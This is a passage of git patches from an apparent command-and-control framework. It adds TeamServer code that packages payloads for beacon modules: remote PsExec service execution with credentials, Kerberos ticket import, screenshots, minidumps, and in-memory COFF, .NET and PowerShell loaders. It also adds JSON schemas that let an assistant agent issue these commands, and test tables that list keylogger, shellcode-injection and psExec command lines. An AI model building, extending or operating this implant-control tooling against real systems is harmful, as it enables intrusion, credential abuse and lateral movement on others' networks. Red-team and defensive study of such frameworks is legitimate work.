"miniDump artifact message mismatch"); + require(fs::exists(message.outputfile() + ".artifact.json"), "miniDump artifact metadata missing"); + + std::ifstream payload(message.outputfile(), std::ios::binary); + std::string payloadBytes(std::istreambuf_iterator(payload), {}); + require(payloadBytes == "AABB", "miniDump assembled bytes mismatch"); + + TeamServerArtifactCatalog catalog(runtimeConfig); + TeamServerArtifactQuery query; + query.category = "minidump"; + query.scope = "generated"; + query.target = "teamserver"; + query.runtime = "file"; + const std::vector artifacts = catalog.listArtifacts(query); + require(artifacts.size() == 1, "miniDump artifact catalog count mismatch"); + require(artifacts[0].source == "beacon", "miniDump artifact source mismatch"); + require(artifacts[0].platform == "windows", "miniDump artifact platform mismatch"); + require(artifacts[0].arch == "x64", "miniDump artifact arch mismatch"); + require(artifacts[0].format == "xored", "miniDump artifact format mismatch"); +} } // namespace int main() @@ -446,5 +752,10 @@ int main() testPrepareAssemblyExecDonutReportsMissingSource(); testPrepareInjectUsesShellcodeServiceAndGeneratedArtifactStore(); testPrepareInjectDonutReportsMissingSource(); + testPrepareUploadUsesUploadedArtifact(); + testPrepareDownloadCreatesGeneratedArtifactSlot(); + testPrepareChiselUsesFixedToolAndShellcodeService(); + testPrepareScriptAndPowershellUseScriptArtifacts(); + testPrepareMiniDumpCreatesGeneratedArtifactSlotAndRegistersChunks(); return 0; } diff --git a/teamServer/tests/TeamServerListenerSessionServiceTests.cpp b/teamServer/tests/TeamServerListenerSessionServiceTests.cpp index 42cc969..4420737 100644 --- a/teamServer/tests/TeamServerListenerSessionServiceTests.cpp +++ b/teamServer/tests/TeamServerListenerSessionServiceTests.cpp @@ -82,6 +82,7 @@ void testCollectListenersAndSessions() cmdResponses, sentResponses, sentCommands, + nullptr, [](const std::string&, C2Message& c2Message, bool, const std::string&) { c2Message.set_instruction("noop"); @@ -136,6 +137,7 @@ void testQueueStopAndResponseDeduplication() cmdResponses, sentResponses, sentCommands, + nullptr, [&preparedArch](const std::string& input, C2Message& c2Message, bool, const std::string& windowsArch) { preparedArch = windowsArch; @@ -250,6 +252,7 @@ void testModuleTrackingBlocksDuplicateLoadsAndListsLoadedModules() cmdResponses, sentResponses, sentCommands, + nullptr, [](const std::string& input, C2Message& c2Message, bool, const std::string&) { if (input.rfind("loadModule", 0) == 0) From a8f2594c186ad36877c034eced093963d32a4af8 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Wed, 6 May 2026 12:53:09 +0200 Subject: [PATCH 39/82] CoffLoader DotnetExec /KerberosUseTicket PsExec PwSh ScreenShot --- C2Client/C2Client/ArtifactPanel.py | 2 +- .../tools/schemas/coffLoader.json | 4 +- .../tools/schemas/dotnetExec.json | 17 +- .../tools/schemas/kerberosUseTicket.json | 10 +- .../assistant_agent/tools/schemas/psExec.json | 10 +- .../assistant_agent/tools/schemas/pwSh.json | 22 +- .../tools/schemas/screenShot.json | 9 +- .../assistant_agent/test_command_builder.py | 8 +- C2Client/tests/test_artifact_panel.py | 1 + core | 2 +- packaging/validate_release.py | 3 + teamServer/CMakeLists.txt | 1 + teamServer/teamServer/TeamServer.cpp | 5 + .../TeamServerFileArtifactService.cpp | 52 ++ .../TeamServerFileArtifactService.hpp | 4 + ...eamServerModuleArtifactCommandPreparer.cpp | 460 ++++++++++++++++++ ...eamServerModuleArtifactCommandPreparer.hpp | 54 ++ ...amServerCommandPreparationServiceTests.cpp | 247 ++++++++++ 18 files changed, 864 insertions(+), 47 deletions(-) create mode 100644 teamServer/teamServer/TeamServerModuleArtifactCommandPreparer.cpp create mode 100644 teamServer/teamServer/TeamServerModuleArtifactCommandPreparer.hpp diff --git a/C2Client/C2Client/ArtifactPanel.py b/C2Client/C2Client/ArtifactPanel.py index 8d8bec2..29bd2e2 100644 --- a/C2Client/C2Client/ArtifactPanel.py +++ b/C2Client/C2Client/ArtifactPanel.py @@ -28,7 +28,7 @@ ArtifactTabTitle = "Artifacts" ALL_FILTER = "All" -CATEGORY_FILTERS = [ALL_FILTER, "module", "beacon", "tool", "script", "payload", "upload", "download", "minidump"] +CATEGORY_FILTERS = [ALL_FILTER, "module", "beacon", "tool", "script", "payload", "upload", "download", "minidump", "screenshot"] SCOPE_FILTERS = [ALL_FILTER, "generated", "beacon", "implant", "teamserver", "server", "operator", "any"] TARGET_FILTERS = [ALL_FILTER, "teamserver", "beacon", "listener", "operator", "any"] PLATFORM_FILTERS = [ALL_FILTER, "windows", "linux", "server", "any"] diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/coffLoader.json b/C2Client/C2Client/assistant_agent/tools/schemas/coffLoader.json index f02b56e..ea7e65c 100644 --- a/C2Client/C2Client/assistant_agent/tools/schemas/coffLoader.json +++ b/C2Client/C2Client/assistant_agent/tools/schemas/coffLoader.json @@ -1,6 +1,6 @@ { "name": "coffLoader", - "description": "Load a COFF object file and execute an exported function.", + "description": "Load a TeamServer-managed COFF object artifact and execute an exported function.", "command_template": "coffLoader {coff_file:q} {function_name:q} {packed_arguments:raw?}", "parameters": { "type": "object", @@ -15,7 +15,7 @@ }, "coff_file": { "type": "string", - "description": "Local COFF object file path." + "description": "COFF/BOF tool artifact name or id from Tools." }, "function_name": { "type": "string", diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/dotnetExec.json b/C2Client/C2Client/assistant_agent/tools/schemas/dotnetExec.json index 141ca99..0fbbaf5 100644 --- a/C2Client/C2Client/assistant_agent/tools/schemas/dotnetExec.json +++ b/C2Client/C2Client/assistant_agent/tools/schemas/dotnetExec.json @@ -1,7 +1,7 @@ { "name": "dotnetExec", - "description": "Load or run .NET assemblies using DotnetExec::init() actions.", - "command_template": "dotnetExec {action} {module_name:q} {input_file:q?} {type_for_dll:q?} {method_name:q?} {arguments:raw?}", + "description": "Load or run .NET assemblies. Load inputs are resolved from TeamServer Tools.", + "command_template": "dotnetExec {action} {module_name:q} {assembly_artifact:q?} {type_or_method:q?} {arguments:raw?}", "parameters": { "type": "object", "properties": { @@ -26,19 +26,14 @@ "type": "string", "description": "Short module name used for loaded assemblies, or the loaded module to run." }, - "input_file": { + "assembly_artifact": { "type": "string", - "description": "Assembly path for load. Required for action load.", + "description": "Assembly tool artifact name or id for load. Required for action load.", "default": "" }, - "type_for_dll": { + "type_or_method": { "type": "string", - "description": "Fully-qualified type name for DLL load. Leave empty for EXE load.", - "default": "" - }, - "method_name": { - "type": "string", - "description": "Method name for runDll. Required for action runDll.", + "description": "Fully-qualified type name for DLL load, or method name for runDll.", "default": "" }, "arguments": { diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/kerberosUseTicket.json b/C2Client/C2Client/assistant_agent/tools/schemas/kerberosUseTicket.json index b1eec3a..59c1bef 100644 --- a/C2Client/C2Client/assistant_agent/tools/schemas/kerberosUseTicket.json +++ b/C2Client/C2Client/assistant_agent/tools/schemas/kerberosUseTicket.json @@ -1,7 +1,7 @@ { "name": "kerberosUseTicket", - "description": "Import a Kerberos ticket file into the current LUID.", - "command_template": "kerberosUseTicket {ticket_file:q}", + "description": "Import a Kerberos ticket artifact from UploadedArtifacts into the current LUID.", + "command_template": "kerberosUseTicket {ticket_artifact:q}", "parameters": { "type": "object", "properties": { @@ -13,15 +13,15 @@ "type": "string", "description": "Full listener hash for the target beacon session." }, - "ticket_file": { + "ticket_artifact": { "type": "string", - "description": "Local .kirbi ticket file path read by the TeamServer side before sending." + "description": ".kirbi artifact name or id from UploadedArtifacts." } }, "required": [ "beacon_hash", "listener_hash", - "ticket_file" + "ticket_artifact" ], "additionalProperties": false } diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/psExec.json b/C2Client/C2Client/assistant_agent/tools/schemas/psExec.json index 5354e8d..19e0145 100644 --- a/C2Client/C2Client/assistant_agent/tools/schemas/psExec.json +++ b/C2Client/C2Client/assistant_agent/tools/schemas/psExec.json @@ -1,7 +1,7 @@ { "name": "psExec", - "description": "Copy and run a service executable on a remote host via PsExec.", - "command_template": "psExec {auth_mode} {username:q?} {password:q?} {target:q} {service_file:q}", + "description": "Copy and run a TeamServer-managed service executable on a remote host via PsExec.", + "command_template": "psExec {auth_mode} {username:q?} {password:q?} {target:q} {service_artifact:q}", "parameters": { "type": "object", "properties": { @@ -36,9 +36,9 @@ "type": "string", "description": "Target host name or IP." }, - "service_file": { + "service_artifact": { "type": "string", - "description": "Local service executable file path to copy and run." + "description": "Service executable artifact name or id. The TeamServer resolves Tools first, then UploadedArtifacts." } }, "required": [ @@ -46,7 +46,7 @@ "listener_hash", "auth_mode", "target", - "service_file" + "service_artifact" ], "additionalProperties": false } diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/pwSh.json b/C2Client/C2Client/assistant_agent/tools/schemas/pwSh.json index c71d284..5bc7b4d 100644 --- a/C2Client/C2Client/assistant_agent/tools/schemas/pwSh.json +++ b/C2Client/C2Client/assistant_agent/tools/schemas/pwSh.json @@ -1,7 +1,7 @@ { "name": "pwSh", - "description": "Initialize or use the in-memory PowerShell runner.", - "command_template": "pwSh {action} {input_file:q?} {type_for_dll:q?} {command:raw?} {script_path:q?}", + "description": "Initialize or use the in-memory PowerShell runner. Init loads the fixed rdm.dll tool artifact.", + "command_template": "pwSh {action} {command_or_script:raw?} {arguments:raw?}", "parameters": { "type": "object", "properties": { @@ -23,24 +23,14 @@ "script" ] }, - "input_file": { + "command_or_script": { "type": "string", - "description": "Custom runner DLL for init. Omit to use PowerShellRunner.dll.", + "description": "PowerShell command text for run, or script artifact name/id for import or script.", "default": "" }, - "type_for_dll": { + "arguments": { "type": "string", - "description": "Fully-qualified runner type for custom init DLL.", - "default": "" - }, - "command": { - "type": "string", - "description": "PowerShell command text for run.", - "default": "" - }, - "script_path": { - "type": "string", - "description": "PowerShell script path for import or script. The module searches the release Tools directory.", + "description": "Optional PowerShell command tail.", "default": "" } }, diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/screenShot.json b/C2Client/C2Client/assistant_agent/tools/schemas/screenShot.json index d422227..e21a316 100644 --- a/C2Client/C2Client/assistant_agent/tools/schemas/screenShot.json +++ b/C2Client/C2Client/assistant_agent/tools/schemas/screenShot.json @@ -1,7 +1,7 @@ { "name": "screenShot", - "description": "Capture a screenshot from the beacon host.", - "command_template": "screenShot", + "description": "Capture a screenshot from the beacon host and store it as a generated TeamServer artifact.", + "command_template": "screenShot {artifact_name:q?}", "parameters": { "type": "object", "properties": { @@ -12,6 +12,11 @@ "listener_hash": { "type": "string", "description": "Full listener hash for the target beacon session." + }, + "artifact_name": { + "type": "string", + "description": "Optional generated artifact filename hint.", + "default": "" } }, "required": [ diff --git a/C2Client/tests/assistant_agent/test_command_builder.py b/C2Client/tests/assistant_agent/test_command_builder.py index 46e6e7c..b96f6e1 100644 --- a/C2Client/tests/assistant_agent/test_command_builder.py +++ b/C2Client/tests/assistant_agent/test_command_builder.py @@ -66,7 +66,7 @@ def test_build_command_line_rejects_missing_required_argument(): ("cimExec", {"hostname": "host1", "command": "cmd.exe", "arguments": "/c whoami"}, 'cimExec -h host1 -c cmd.exe -a "/c whoami"'), ("coffLoader", {"coff_file": "whoami.x64.o", "function_name": "go", "packed_arguments": "Zs c:\\ 0"}, "coffLoader whoami.x64.o go Zs c:\\ 0"), ("dcomExec", {"hostname": "host1", "command": "cmd.exe", "working_dir": "C:\\Windows"}, "dcomExec -h host1 -c cmd.exe -w C:\\Windows"), - ("dotnetExec", {"action": "runDll", "module_name": "lib", "method_name": "Run", "arguments": "arg1 arg2"}, "dotnetExec runDll lib Run arg1 arg2"), + ("dotnetExec", {"action": "runDll", "module_name": "lib", "type_or_method": "Run", "arguments": "arg1 arg2"}, "dotnetExec runDll lib Run arg1 arg2"), ("download", {"remote_path": "C:\\Temp\\a.txt", "local_path": "/tmp/a.txt"}, "download C:\\Temp\\a.txt /tmp/a.txt"), ("enumerateRdpSessions", {"server": "fileserver"}, "enumerateRdpSessions -s fileserver"), ("enumerateShares", {"host": "fileserver"}, "enumerateShares fileserver"), @@ -74,7 +74,7 @@ def test_build_command_line_rejects_missing_required_argument(): ("getEnv", {}, "getEnv"), ("inject", {"payload_type": "--donut-dll", "input_file": "payload.dll", "pid": 4242, "method": "Run", "arguments": "a b"}, "inject --donut-dll payload.dll --pid 4242 --method Run a b"), ("ipConfig", {}, "ipConfig"), - ("kerberosUseTicket", {"ticket_file": "/tmp/ticket.kirbi"}, "kerberosUseTicket /tmp/ticket.kirbi"), + ("kerberosUseTicket", {"ticket_artifact": "ticket.kirbi"}, "kerberosUseTicket ticket.kirbi"), ("keyLogger", {"action": "start"}, "keyLogger start"), ("killProcess", {"pid": 4242}, "killProcess 4242"), ("listProcesses", {}, "ps"), @@ -85,8 +85,8 @@ def test_build_command_line_rejects_missing_required_argument(): ("mkDir", {"path": "C:\\Temp\\new dir"}, 'mkDir "C:\\Temp\\new dir"'), ("netstat", {}, "netstat"), ("powershell", {"command": "whoami | write-output"}, "powershell whoami | write-output"), - ("psExec", {"auth_mode": "-u", "username": "DOMAIN\\user", "password": "pw", "target": "host1", "service_file": "svc.exe"}, "psExec -u DOMAIN\\user pw host1 svc.exe"), - ("pwSh", {"action": "run", "command": "Get-Process"}, "pwSh run Get-Process"), + ("psExec", {"auth_mode": "-u", "username": "DOMAIN\\user", "password": "pw", "target": "host1", "service_artifact": "svc.exe"}, "psExec -u DOMAIN\\user pw host1 svc.exe"), + ("pwSh", {"action": "run", "command_or_script": "Get-Process"}, "pwSh run Get-Process"), ("pwd", {}, "pwd"), ("registry", {"operation": "set", "root_key": "HKLM", "sub_key": "Software\\Acme", "value_name": "Path", "value_data": "C:/Temp", "value_type": "REG_SZ"}, "registry set -h HKLM -k Software\\Acme -n Path -d C:/Temp -t REG_SZ"), ("remove", {"path": "C:\\Temp\\old.txt"}, "remove C:\\Temp\\old.txt"), diff --git a/C2Client/tests/test_artifact_panel.py b/C2Client/tests/test_artifact_panel.py index fa02a9c..eaba298 100644 --- a/C2Client/tests/test_artifact_panel.py +++ b/C2Client/tests/test_artifact_panel.py @@ -116,6 +116,7 @@ def test_artifacts_panel_lists_filters_and_copies_id(qtbot): qtbot.addWidget(panel) assert panel.categoryFilter.findText("minidump") != -1 + assert panel.categoryFilter.findText("screenshot") != -1 assert panel.artifactTable.rowCount() == 3 assert panel.artifactTable.item(0, 0).text() == "module" assert panel.artifactTable.item(0, 1).text() == "beacon" diff --git a/core b/core index 303698c..e342928 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit 303698c086a0d47979c83554b6ac896454ede6ba +Subproject commit e3429280ced47d7bd88f417d63548af1731a0bf6 diff --git a/packaging/validate_release.py b/packaging/validate_release.py index e60d6a1..57e917a 100644 --- a/packaging/validate_release.py +++ b/packaging/validate_release.py @@ -162,7 +162,9 @@ "cd.json", "chisel.json", "cimExec.json", + "coffLoader.json", "dcomExec.json", + "dotnetExec.json", "download.json", "enumerateRdpSessions.json", "enumerateShares.json", @@ -180,6 +182,7 @@ "netstat.json", "ps.json", "psExec.json", + "pwSh.json", "powershell.json", "pwd.json", "registry.json", diff --git a/teamServer/CMakeLists.txt b/teamServer/CMakeLists.txt index fb183c7..8778080 100644 --- a/teamServer/CMakeLists.txt +++ b/teamServer/CMakeLists.txt @@ -19,6 +19,7 @@ set(TEAMSERVER_CORE_SOURCES teamServer/TeamServerListenerArtifactService.cpp teamServer/TeamServerModuleLoader.cpp teamServer/TeamServerMiniDumpCommandPreparer.cpp + teamServer/TeamServerModuleArtifactCommandPreparer.cpp teamServer/TeamServerScriptCommandPreparer.cpp teamServer/TeamServerShellcodeService.cpp teamServer/TeamServerSocksService.cpp diff --git a/teamServer/teamServer/TeamServer.cpp b/teamServer/teamServer/TeamServer.cpp index 59d7930..3a93d8c 100644 --- a/teamServer/teamServer/TeamServer.cpp +++ b/teamServer/teamServer/TeamServer.cpp @@ -18,6 +18,7 @@ #include "TeamServerListenerSessionService.hpp" #include "TeamServerMiniDumpCommandPreparer.hpp" #include "TeamServerModuleLoader.hpp" +#include "TeamServerModuleArtifactCommandPreparer.hpp" #include "TeamServerScriptCommandPreparer.hpp" #include "TeamServerShellcodeService.hpp" #include "TeamServerSocksService.hpp" @@ -132,6 +133,10 @@ TeamServer::TeamServer(const nlohmann::json& config) m_logger, m_fileArtifactService, m_moduleCmd)); + commandPreparers.push_back(std::make_unique( + m_logger, + m_fileArtifactService, + m_moduleCmd)); m_commandPreparationService = std::make_unique( m_logger, runtimeConfig, diff --git a/teamServer/teamServer/TeamServerFileArtifactService.cpp b/teamServer/teamServer/TeamServerFileArtifactService.cpp index 316a1ca..406cb12 100644 --- a/teamServer/teamServer/TeamServerFileArtifactService.cpp +++ b/teamServer/teamServer/TeamServerFileArtifactService.cpp @@ -264,6 +264,58 @@ TeamServerPreparedInputArtifact TeamServerFileArtifactService::resolveScriptArti return result; } +TeamServerPreparedInputArtifact TeamServerFileArtifactService::resolveToolArtifact( + const std::string& selector, + bool isWindows, + const std::string& arch) const +{ + TeamServerPreparedInputArtifact result; + if (selector.empty()) + { + result.message = "Missing tool artifact."; + return result; + } + + TeamServerArtifactQuery query; + query.category = "tool"; + query.scope = "server"; + query.target = "teamserver"; + query.platform = platformName(isWindows); + query.arch = normalizeArch(isWindows, arch, m_runtimeConfig); + query.runtime = "any"; + + TeamServerArtifactCatalog catalog(m_runtimeConfig); + const std::vector artifacts = catalog.listArtifacts(query); + const auto artifact = std::find_if( + artifacts.begin(), + artifacts.end(), + [&](const TeamServerArtifactRecord& candidate) + { + return matchesSelector(candidate, selector); + }); + + if (artifact == artifacts.end()) + { + result.message = "Tool artifact not found: " + selector + + ". Put tools under Tools/" + + platformName(isWindows) + "/" + query.arch + + " or Tools/Any/any."; + return result; + } + + std::string bytes; + if (!readFile(artifact->internalPath, bytes)) + { + result.message = "Tool artifact could not be read: " + artifact->name; + return result; + } + + result.ok = true; + result.artifact = *artifact; + result.bytes = std::move(bytes); + return result; +} + TeamServerPreparedDownloadArtifact TeamServerFileArtifactService::prepareDownloadArtifact( const std::string& remotePath, const std::string& nameHint, diff --git a/teamServer/teamServer/TeamServerFileArtifactService.hpp b/teamServer/teamServer/TeamServerFileArtifactService.hpp index e1b9e7f..9aa3622 100644 --- a/teamServer/teamServer/TeamServerFileArtifactService.hpp +++ b/teamServer/teamServer/TeamServerFileArtifactService.hpp @@ -59,6 +59,10 @@ class TeamServerFileArtifactService const std::string& selector, bool isWindows, const std::string& arch) const; + TeamServerPreparedInputArtifact resolveToolArtifact( + const std::string& selector, + bool isWindows, + const std::string& arch) const; TeamServerPreparedDownloadArtifact prepareDownloadArtifact( const std::string& remotePath, diff --git a/teamServer/teamServer/TeamServerModuleArtifactCommandPreparer.cpp b/teamServer/teamServer/TeamServerModuleArtifactCommandPreparer.cpp new file mode 100644 index 0000000..b944127 --- /dev/null +++ b/teamServer/teamServer/TeamServerModuleArtifactCommandPreparer.cpp @@ -0,0 +1,460 @@ +#include "TeamServerModuleArtifactCommandPreparer.hpp" + +#include +#include +#include +#include +#include + +#include "modules/ModuleCmd/Common.hpp" + +namespace fs = std::filesystem; + +namespace +{ +constexpr const char* DotnetLoadCommand = "00001"; +constexpr const char* PwShLoadCommand = "00001"; +constexpr const char* PwShRunCommand = "00003"; +constexpr const char* PwShImportCommand = "00004"; +constexpr const char* PwShScriptCommand = "00005"; +constexpr const char* FixedPwShRunner = "rdm.dll"; +constexpr const char* FixedPwShType = "rdm.rdm"; + +std::string toLower(std::string value) +{ + std::transform(value.begin(), value.end(), value.begin(), [](unsigned char c) + { + return static_cast(std::tolower(c)); + }); + return value; +} + +std::vector regroup(const std::vector& tokens) +{ + return regroupStrings(tokens); +} + +std::string joinTail(const std::vector& tokens, std::size_t start, bool trailingSpace = false) +{ + std::ostringstream output; + for (std::size_t index = start; index < tokens.size(); ++index) + { + if (index != start) + output << ' '; + output << tokens[index]; + } + if (trailingSpace && start < tokens.size()) + output << ' '; + return output.str(); +} + +std::string extensionLower(const std::string& path) +{ + return toLower(fs::path(path).extension().string()); +} + +bool endsWithDll(const std::string& path) +{ + return extensionLower(path) == ".dll"; +} + +bool endsWithExe(const std::string& path) +{ + return extensionLower(path) == ".exe"; +} + +TeamServerCommandPreparerResult handledError(C2Message& c2Message, const std::string& message) +{ + TeamServerCommandPreparerResult result; + result.handled = true; + result.status = -1; + c2Message.set_returnvalue(message); + return result; +} + +TeamServerCommandPreparerResult unhandled() +{ + return {}; +} +} // namespace + +TeamServerModuleArtifactCommandPreparer::TeamServerModuleArtifactCommandPreparer( + std::shared_ptr logger, + std::shared_ptr fileArtifactService, + std::vector>& moduleCmd) + : m_logger(std::move(logger)), + m_fileArtifactService(std::move(fileArtifactService)), + m_moduleCmd(moduleCmd) +{ +} + +bool TeamServerModuleArtifactCommandPreparer::canPrepare(const std::string& instruction) const +{ + const std::string lowered = toLower(instruction); + return lowered == "screenshot" + || lowered == "kerberosuseticket" + || lowered == "psexec" + || lowered == "coffloader" + || lowered == "dotnetexec" + || lowered == "pwsh"; +} + +TeamServerCommandPreparerResult TeamServerModuleArtifactCommandPreparer::prepare( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const +{ + const std::string instruction = toLower(context.tokens.empty() ? "" : context.tokens[0]); + if (instruction == "screenshot") + return prepareScreenShot(context, c2Message); + if (instruction == "kerberosuseticket") + return prepareKerberosUseTicket(context, c2Message); + if (instruction == "psexec") + return preparePsExec(context, c2Message); + if (instruction == "coffloader") + return prepareCoffLoader(context, c2Message); + if (instruction == "dotnetexec") + return prepareDotnetExec(context, c2Message); + if (instruction == "pwsh") + return preparePwSh(context, c2Message); + return unhandled(); +} + +bool TeamServerModuleArtifactCommandPreparer::hasModule(const std::string& name) const +{ + const std::string lowered = toLower(name); + for (const auto& module : m_moduleCmd) + { + if (module && toLower(module->getName()) == lowered) + return true; + } + return false; +} + +TeamServerPreparedInputArtifact TeamServerModuleArtifactCommandPreparer::resolveToolOrUpload( + const std::string& selector, + const TeamServerCommandPreparerContext& context, + std::string& errorMessage) const +{ + TeamServerPreparedInputArtifact tool = m_fileArtifactService->resolveToolArtifact( + selector, + context.isWindows, + context.windowsArch); + if (tool.ok) + return tool; + + TeamServerPreparedInputArtifact upload = m_fileArtifactService->resolveUploadArtifact( + selector, + context.isWindows, + context.windowsArch); + if (upload.ok) + return upload; + + errorMessage = tool.message + "\n" + upload.message; + return {}; +} + +TeamServerCommandPreparerResult TeamServerModuleArtifactCommandPreparer::prepareScreenShot( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const +{ + TeamServerCommandPreparerResult result; + result.handled = true; + result.status = -1; + + const std::vector tokens = regroup(context.tokens); + if (!context.isWindows) + return handledError(c2Message, "screenShot is Windows-only.\n"); + if (!hasModule("screenShot")) + return handledError(c2Message, "Module screenShot not found.\n"); + if (!m_fileArtifactService) + return handledError(c2Message, "File artifact service is not available.\n"); + if (tokens.size() > 2) + return handledError(c2Message, "Usage: screenShot [artifact_name]\n"); + + TeamServerGeneratedFileArtifactSpec spec; + spec.remotePath = "screen"; + spec.nameHint = tokens.size() == 2 ? tokens[1] : "screenshot.bmp"; + spec.category = "screenshot"; + spec.source = "beacon"; + spec.format = "bmp"; + spec.runtime = "file"; + spec.description = "Screenshot captured from beacon host."; + spec.tags = {"screenShot", "screenshot"}; + spec.isWindows = true; + spec.arch = context.windowsArch; + spec.writeResultData = true; + + TeamServerPreparedDownloadArtifact artifact = m_fileArtifactService->prepareGeneratedFileArtifact(spec); + if (!artifact.ok) + return handledError(c2Message, artifact.message + "\n"); + + c2Message.set_instruction("screenShot"); + c2Message.set_outputfile(artifact.path); + result.status = 0; + if (m_logger) + m_logger->info("Prepared screenShot artifact path {}", artifact.path); + return result; +} + +TeamServerCommandPreparerResult TeamServerModuleArtifactCommandPreparer::prepareKerberosUseTicket( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const +{ + TeamServerCommandPreparerResult result; + result.handled = true; + result.status = -1; + + const std::vector tokens = regroup(context.tokens); + if (!context.isWindows) + return handledError(c2Message, "kerberosUseTicket is Windows-only.\n"); + if (!hasModule("kerberosUseTicket")) + return handledError(c2Message, "Module kerberosUseTicket not found.\n"); + if (!m_fileArtifactService) + return handledError(c2Message, "File artifact service is not available.\n"); + if (tokens.size() != 2) + return handledError(c2Message, "Usage: kerberosUseTicket \n"); + + TeamServerPreparedInputArtifact artifact = m_fileArtifactService->resolveUploadArtifact( + tokens[1], + context.isWindows, + context.windowsArch); + if (!artifact.ok) + return handledError(c2Message, artifact.message + "\n"); + + c2Message.set_instruction("kerberosUseTicket"); + c2Message.set_inputfile(artifact.artifact.name); + c2Message.set_data(artifact.bytes); + result.status = 0; + return result; +} + +TeamServerCommandPreparerResult TeamServerModuleArtifactCommandPreparer::preparePsExec( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const +{ + TeamServerCommandPreparerResult result; + result.handled = true; + result.status = -1; + + const std::vector tokens = regroup(context.tokens); + if (!context.isWindows) + return handledError(c2Message, "psExec is Windows-only.\n"); + if (!hasModule("psExec")) + return handledError(c2Message, "Module psExec not found.\n"); + if (!m_fileArtifactService) + return handledError(c2Message, "File artifact service is not available.\n"); + if (tokens.size() < 2) + return handledError(c2Message, "Usage: psExec -u | psExec -k|-n \n"); + + std::string selector; + std::string packedCommand; + const std::string mode = tokens[1]; + if (mode == "-u" && tokens.size() == 6) + { + std::string domain = "."; + std::string username = tokens[2]; + std::vector userParts; + splitList(tokens[2], "\\", userParts); + if (userParts.size() == 1) + { + username = userParts[0]; + } + else if (userParts.size() > 1) + { + domain = userParts[0]; + username = userParts[1]; + } + + packedCommand = domain; + packedCommand += '\0'; + packedCommand += username; + packedCommand += '\0'; + packedCommand += tokens[3]; + packedCommand += '\0'; + packedCommand += tokens[4]; + selector = tokens[5]; + } + else if ((mode == "-n" || mode == "-k") && tokens.size() == 4) + { + packedCommand = tokens[2]; + selector = tokens[3]; + } + else + { + return handledError(c2Message, "Usage: psExec -u | psExec -k|-n \n"); + } + + std::string errorMessage; + TeamServerPreparedInputArtifact artifact = resolveToolOrUpload(selector, context, errorMessage); + if (!artifact.ok) + return handledError(c2Message, errorMessage + "\n"); + + c2Message.set_instruction("psExec"); + c2Message.set_inputfile(artifact.artifact.name); + c2Message.set_cmd(packedCommand); + c2Message.set_data(artifact.bytes); + result.status = 0; + return result; +} + +TeamServerCommandPreparerResult TeamServerModuleArtifactCommandPreparer::prepareCoffLoader( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const +{ + TeamServerCommandPreparerResult result; + result.handled = true; + result.status = -1; + + const std::vector tokens = regroup(context.tokens); + if (!context.isWindows) + return handledError(c2Message, "coffLoader is Windows-only.\n"); + if (!hasModule("coffLoader")) + return handledError(c2Message, "Module coffLoader not found.\n"); + if (!m_fileArtifactService) + return handledError(c2Message, "File artifact service is not available.\n"); + if (tokens.size() < 3) + return handledError(c2Message, "Usage: coffLoader [packed_arguments]\n"); + + TeamServerPreparedInputArtifact artifact = m_fileArtifactService->resolveToolArtifact( + tokens[1], + context.isWindows, + context.windowsArch); + if (!artifact.ok) + return handledError(c2Message, artifact.message + "\n"); + + c2Message.set_instruction("coffLoader"); + c2Message.set_inputfile(artifact.artifact.name); + c2Message.set_cmd(tokens[2]); + c2Message.set_args(tokens.size() > 3 ? joinTail(tokens, 3) : ""); + c2Message.set_data(artifact.bytes); + result.status = 0; + return result; +} + +TeamServerCommandPreparerResult TeamServerModuleArtifactCommandPreparer::prepareDotnetExec( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const +{ + TeamServerCommandPreparerResult result; + const std::vector tokens = regroup(context.tokens); + if (tokens.size() < 2 || tokens[1] != "load") + return result; + + result.handled = true; + result.status = -1; + if (!context.isWindows) + return handledError(c2Message, "dotnetExec is Windows-only.\n"); + if (!hasModule("dotnetExec")) + return handledError(c2Message, "Module dotnetExec not found.\n"); + if (!m_fileArtifactService) + return handledError(c2Message, "File artifact service is not available.\n"); + if (tokens.size() != 4 && tokens.size() != 5) + return handledError(c2Message, "Usage: dotnetExec load [type_for_dll]\n"); + + const std::string& selector = tokens[3]; + std::string type; + if (endsWithDll(selector) && tokens.size() == 5) + type = tokens[4]; + else if (endsWithExe(selector) && tokens.size() == 4) + type = ""; + else + return handledError(c2Message, "For exe typeForDll must be empty. For dll typeForDll must specify the namespace and class.\n"); + + TeamServerPreparedInputArtifact artifact = m_fileArtifactService->resolveToolArtifact( + selector, + context.isWindows, + context.windowsArch); + if (!artifact.ok) + return handledError(c2Message, artifact.message + "\n"); + + c2Message.set_instruction("dotnetExec"); + c2Message.set_inputfile(artifact.artifact.name); + c2Message.set_cmd(DotnetLoadCommand); + c2Message.set_args(tokens[2]); + c2Message.set_returnvalue(type); + c2Message.set_data(artifact.bytes); + result.status = 0; + return result; +} + +TeamServerCommandPreparerResult TeamServerModuleArtifactCommandPreparer::preparePwSh( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const +{ + TeamServerCommandPreparerResult result; + const std::vector tokens = regroup(context.tokens); + if (tokens.size() < 2) + return result; + + result.handled = true; + result.status = -1; + if (!context.isWindows) + return handledError(c2Message, "pwSh is Windows-only.\n"); + if (!hasModule("pwSh")) + return handledError(c2Message, "Module pwSh not found.\n"); + if (!m_fileArtifactService) + return handledError(c2Message, "File artifact service is not available.\n"); + + const std::string action = tokens[1]; + if (action == "init") + { + if (tokens.size() != 2) + return handledError(c2Message, "Usage: pwSh init\n"); + + TeamServerPreparedInputArtifact artifact = m_fileArtifactService->resolveToolArtifact( + FixedPwShRunner, + context.isWindows, + context.windowsArch); + if (!artifact.ok) + return handledError(c2Message, artifact.message + "\n"); + + c2Message.set_instruction("pwSh"); + c2Message.set_inputfile(artifact.artifact.name); + 